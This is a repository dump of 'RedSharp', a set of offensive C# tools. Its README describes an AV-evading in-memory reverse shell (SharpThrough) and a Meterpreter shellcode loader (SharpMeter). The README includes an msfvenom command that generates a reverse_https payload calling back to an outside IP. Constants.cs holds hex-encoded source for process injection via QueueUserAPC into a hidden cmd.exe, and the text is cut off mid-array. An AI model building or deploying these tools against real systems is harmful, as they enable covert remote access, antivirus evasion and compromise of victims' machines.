├── LICENSE
├── README.md
├── SharpMeter
├── App.config
├── Constants.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── SharpMeter.csproj
├── SharpMeter.csproj.user
├── apc-new.cs
├── bin
│ ├── Debug
│ │ ├── System.Net.Http.dll
│ │ ├── System.Net.Http.xml
│ │ ├── pay.txt
│ │ ├── sharpmeter.exe
│ │ ├── sharpmeter.exe.config
│ │ ├── sharpmeter.pdb
│ │ ├── sharpmeter.vshost.exe
│ │ └── sharpmeter.vshost.exe.config
│ ├── x64
│ │ └── Debug
│ │ │ ├── System.Net.Http.dll
│ │ │ ├── System.Net.Http.xml
│ │ │ ├── pay.txt
│ │ │ ├── sharpmeter.exe
│ │ │ ├── sharpmeter.exe.config
│ │ │ ├── sharpmeter.pdb
│ │ │ ├── sharpmeter.vshost.exe
│ │ │ ├── sharpmeter.vshost.exe.config
│ │ │ ├── sharpmeter.vshost.exe.manifest
│ │ │ ├── sharpthrough.exe
│ │ │ ├── sharpthrough.exe.config
│ │ │ └── sharpthrough.pdb
│ └── x86
│ │ └── Debug
│ │ ├── System.Net.Http.dll
│ │ ├── System.Net.Http.xml
│ │ ├── sharpmeter.exe
│ │ ├── sharpmeter.exe.config
│ │ ├── sharpmeter.pdb
│ │ ├── sharpmeter.vshost.exe
│ │ └── sharpmeter.vshost.exe.config
├── obj
│ ├── Debug
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── SharpMeter.csproj.FileListAbsolute.txt
│ │ ├── SharpMeter.csprojResolveAssemblyReference.cache
│ │ ├── sharpmeter.exe
│ │ └── sharpmeter.pdb
│ ├── x64
│ │ └── Debug
│ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ │ ├── SharpMeter.csproj.FileListAbsolute.txt
│ │ │ ├── SharpThrough.csproj.FileListAbsolute.txt
│ │ │ ├── SharpThrough.csprojResolveAssemblyReference.cache
│ │ │ ├── sharpmeter.exe
│ │ │ ├── sharpmeter.pdb
│ │ │ ├── sharpthrough.exe
│ │ │ └── sharpthrough.pdb
│ └── x86
│ │ └── Debug
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── SharpMeter.csproj.FileListAbsolute.txt
│ │ ├── sharpmeter.exe
│ │ └── sharpmeter.pdb
└── pay.txt
└── SharpThrough
├── App.config
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── SharpThrough.csproj
├── SharpThrough.csproj.user
├── bin
└── x64
│ └── Debug
│ ├── System.Net.Http.dll
│ ├── System.Net.Http.xml
│ ├── sharpthrough.exe
│ ├── sharpthrough.exe.config
│ └── sharpthrough.pdb
└── obj
└── x64
└── Debug
├── DesignTimeResolveAssemblyReferencesInput.cache
├── SharpThrough.csproj.FileListAbsolute.txt
├── SharpThrough.csprojResolveAssemblyReference.cache
├── sharpthrough.exe
└── sharpthrough.pdb
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2018, chris
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RedSharp
2 | random C# tools and scripts for Pentesting and offensive stuff
3 |
4 | ## SharpThrough
5 | Simple yet effective C# reverse shell, at the moment can bypass many (maybe all) AVs
6 | Simple technique is used -> it compiles code in memory
7 | IDE VS 2015 , csproj is available. Compile platform choiche is yours: suggested is x64
8 | You can also compile it with :
9 | ```C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x64 /out:sharpthrough.exe Program.cs```
10 | ```
11 | Usage :
12 | sharpthrough.exe IP PORT
13 | ```
14 |
15 | ## SharpMeter
16 | Executing Meterpreter generated shellcode via QueueUserAPC:
17 | (create a new process, "cmd.exe" in this case, injects and executes shellcode in process memory).
18 | First, generate your Meterpreter payload in C# format, like this :
19 | ```msfvenom -a x64 -p windows/x64/meterpreter/reverse_https lhost=10.200.3.163 lport=443 -f csharp -o pay.txt```
20 | Watch out to your architecture choice! x64 payload will only work with x64 executable version of sharpmeter.
21 | Do not touch generated payload format (not even the variable name)! Leave it as it is.
22 | ```
23 | Usage :
24 | sharpmeter.exe PATH_TO_PAYLOAD
25 |
26 | Setup your Meterpreter handler + payload listener on the attacking machine
27 | ```
28 | An example payload (x64 format) is attached inside the project. IDE VS 2015, csproj is available.
29 | This program is capable of running ANY shellcode but you need to be aware of shellcode format; it has to be in "meterpreter" format, so you may eventually convert it (but it's an easy task)
30 |
31 | https://www.virustotal.com/#/file/12835ae086001626776b4ea0ce68035e2cd46c1924cb83bbe4ae7d5f615001ce/detection
32 |
33 | ---
34 |
35 |  [Buy me a beer if you like ;-)](https://www.buymeacoffee.com/padovah4ck)
36 |
--------------------------------------------------------------------------------
/SharpMeter/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/Constants.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace sharpmtr
7 | {
8 | public class Constants
9 | {
10 | /*byte[] bytes = System.Text.Encoding.UTF8.GetBytes(code);
11 | string strOut = "byte[] byteRS = new byte[" + bytes.Length + "] { ";
12 | for (int i = 0; i < bytes.Length; i++)
13 | {
14 | strOut += String.Format("0x{0:X2}, ", bytes[i]);
15 | }
16 | strOut += " };";
17 | System.Diagnostics.Debug.Write (strOut);*/
18 |
19 | public static byte[] byteRS = new byte[6654] { 0x0D, 0x0A, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x20, 0x78, 0x63, 0x75, 0x74, 0x65, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x61, 0x70, 0x63, 0x69, 0x70, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x46, 0x6C, 0x79, 0x28, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C, 0x53, 0x54, 0x55, 0x46, 0x46, 0x7C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x70, 0x61, 0x74, 0x68, 0x20, 0x3D, 0x20, 0x40, 0x22, 0x63, 0x3A, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x5C, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x33, 0x32, 0x5C, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x20, 0x73, 0x69, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x69, 0x2E, 0x63, 0x62, 0x20, 0x3D, 0x20, 0x28, 0x75, 0x69, 0x6E, 0x74, 0x29, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2E, 0x4D, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6C, 0x2E, 0x53, 0x69, 0x7A, 0x65, 0x4F, 0x66, 0x28, 0x74, 0x79, 0x70, 0x65, 0x6F, 0x66, 0x28, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x69, 0x2E, 0x64, 0x77, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x3D, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x46, 0x5F, 0x55, 0x53, 0x45, 0x53, 0x48, 0x4F, 0x57, 0x57, 0x49, 0x4E, 0x44, 0x4F, 0x57, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x69, 0x2E, 0x77, 0x53, 0x68, 0x6F, 0x77, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x20, 0x3D, 0x20, 0x28, 0x73, 0x68, 0x6F, 0x72, 0x74, 0x29, 0x28, 0x53, 0x57, 0x2E, 0x53, 0x57, 0x5F, 0x48, 0x49, 0x44, 0x45, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x70, 0x69, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x69, 0x6E, 0x20, 0x73, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x64, 0x65, 0x64, 0x20, 0x73, 0x74, 0x61, 0x74, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x69, 0x6E, 0x74, 0x6F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x70, 0x61, 0x74, 0x68, 0x2C, 0x20, 0x6E, 0x75, 0x6C, 0x6C, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x2E, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x55, 0x53, 0x50, 0x45, 0x4E, 0x44, 0x45, 0x44, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x6E, 0x75, 0x6C, 0x6C, 0x2C, 0x20, 0x72, 0x65, 0x66, 0x20, 0x73, 0x69, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x70, 0x69, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x77, 0x69, 0x74, 0x68, 0x69, 0x6E, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x20, 0x3D, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x45, 0x78, 0x28, 0x70, 0x69, 0x2E, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x2C, 0x20, 0x4D, 0x45, 0x4D, 0x5F, 0x43, 0x4F, 0x4D, 0x4D, 0x49, 0x54, 0x2C, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x57, 0x52, 0x49, 0x54, 0x45, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x57, 0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x20, 0x3D, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x42, 0x6F, 0x6F, 0x6C, 0x20, 0x3D, 0x20, 0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x28, 0x70, 0x69, 0x2E, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x57, 0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x73, 0x68, 0x74, 0x20, 0x3D, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x2E, 0x53, 0x45, 0x54, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x2C, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x2C, 0x20, 0x28, 0x69, 0x6E, 0x74, 0x29, 0x70, 0x69, 0x2E, 0x64, 0x77, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x6F, 0x6C, 0x64, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x4D, 0x6F, 0x64, 0x69, 0x66, 0x79, 0x20, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x70, 0x65, 0x72, 0x6D, 0x69, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x64, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x42, 0x6F, 0x6F, 0x6C, 0x20, 0x3D, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x45, 0x78, 0x28, 0x70, 0x69, 0x2E, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x2C, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x6F, 0x6C, 0x64, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x41, 0x73, 0x73, 0x69, 0x67, 0x6E, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x61, 0x70, 0x63, 0x20, 0x71, 0x75, 0x65, 0x75, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x70, 0x74, 0x72, 0x20, 0x3D, 0x20, 0x51, 0x75, 0x65, 0x75, 0x65, 0x55, 0x73, 0x65, 0x72, 0x41, 0x50, 0x43, 0x28, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x2C, 0x20, 0x73, 0x68, 0x74, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x3D, 0x20, 0x70, 0x69, 0x2E, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x52, 0x65, 0x73, 0x75, 0x6D, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x65, 0x78, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x68, 0x72, 0x6F, 0x77, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x4D, 0x45, 0x4D, 0x5F, 0x43, 0x4F, 0x4D, 0x4D, 0x49, 0x54, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x46, 0x5F, 0x55, 0x53, 0x45, 0x53, 0x48, 0x4F, 0x57, 0x57, 0x49, 0x4E, 0x44, 0x4F, 0x57, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 